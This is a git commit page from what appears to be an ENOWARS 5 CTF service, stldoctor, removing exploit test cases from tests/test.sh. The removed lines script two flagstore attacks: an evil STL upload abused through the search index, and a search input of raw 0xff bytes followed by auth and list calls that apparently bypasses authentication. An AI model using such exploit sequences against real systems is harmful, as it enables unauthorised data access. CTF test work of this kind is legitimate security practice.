diff options
| author | Louis Burda <quent.burda@gmail.com> | 2021-06-02 00:08:58 +0200 |
|---|---|---|
| committer | Louis Burda <quent.burda@gmail.com> | 2021-06-02 00:08:58 +0200 |
| commit | 1218d049de7e380d6ea647a6074b66ce4962e45b (patch) | |
| tree | aa79785747cae11a02d13f060192a3727c4de886 /tests/test.sh | |
| parent | 988ab9c0a517e9bc37a6184a6a49a5acd71c86d3 (diff) | |
| download | enowars5-service-stldoctor-1218d049de7e380d6ea647a6074b66ce4962e45b.tar.gz enowars5-service-stldoctor-1218d049de7e380d6ea647a6074b66ce4962e45b.zip | |
removed exploits from test script since already available in checker
Diffstat (limited to 'tests/test.sh')
| -rw-r--r-- | tests/test.sh | 76 |
1 files changed, 0 insertions, 76 deletions
diff --git a/tests/test.sh b/tests/test.sh index 4835024..159e435 100644 --- a/tests/test.sh +++ b/tests/test.sh @@ -97,82 +97,6 @@ elif [ "$1" == "stl-upload" ]; then echo "$name" ) | checkleaks -elif [ "$1" == "vuln1" ]; then - cleanuploads - - announce "Testing Flagstore 1" - - echo -e "\n--- Uploading target STL ---\n" 1>&2 - ( - echo "echo" - echo "upload" - cat "$TESTDATA/flag1.stl" | wc -c - cat "$TESTDATA/flag1.stl" - echo "N0TaFL4G" - echo "exit" - ) | connect - - echo -e "\n--- Uploading evil STL ---\n" 1>&2 - ( - echo "echo" - echo "upload" - cat "$TESTDATA/evil1.stl" | wc -c - cat "$TESTDATA/evil1.stl" - echo "EV1L" - echo "exit" - ) | connect - - echo -e "\n--- Testing Exploit ---\n" 1>&2 - ( - echo "echo" - - # try index 0 - echo "search" - echo "EV1L" - echo "0" - echo "n" - - echo "search last" - echo "0" - echo "n" - - # try index 1 - echo "search" - echo -e "EV1L" - echo "0" - echo "n" - - echo "search last" - echo "1" - echo "n" - echo "exit" - ) | connect - -elif [ "$1" == "vuln2" ]; then - cleanuploads - - announce "Testing Flagstore 2" - - echo -e "\n--- Uploading target STL ---\n" 1>&2 - ( - echo "echo" - echo "auth test" - echo "upload" - cat "$TESTDATA/flag1.stl" | wc -c - cat "$TESTDATA/flag1.stl" - echo "N0TaFL4G" - echo "exit" - ) | connect - - echo -e "\n--- Testing Exploit ---\n" 1>&2 - ( - echo "echo" - echo -e "search \xff\xff\xff\xff\xff0000000000000000" - echo "auth" - echo "list" - echo "exit" - ) | connect - elif [ "$1" == "auth-upload" ]; then cleanuploads |
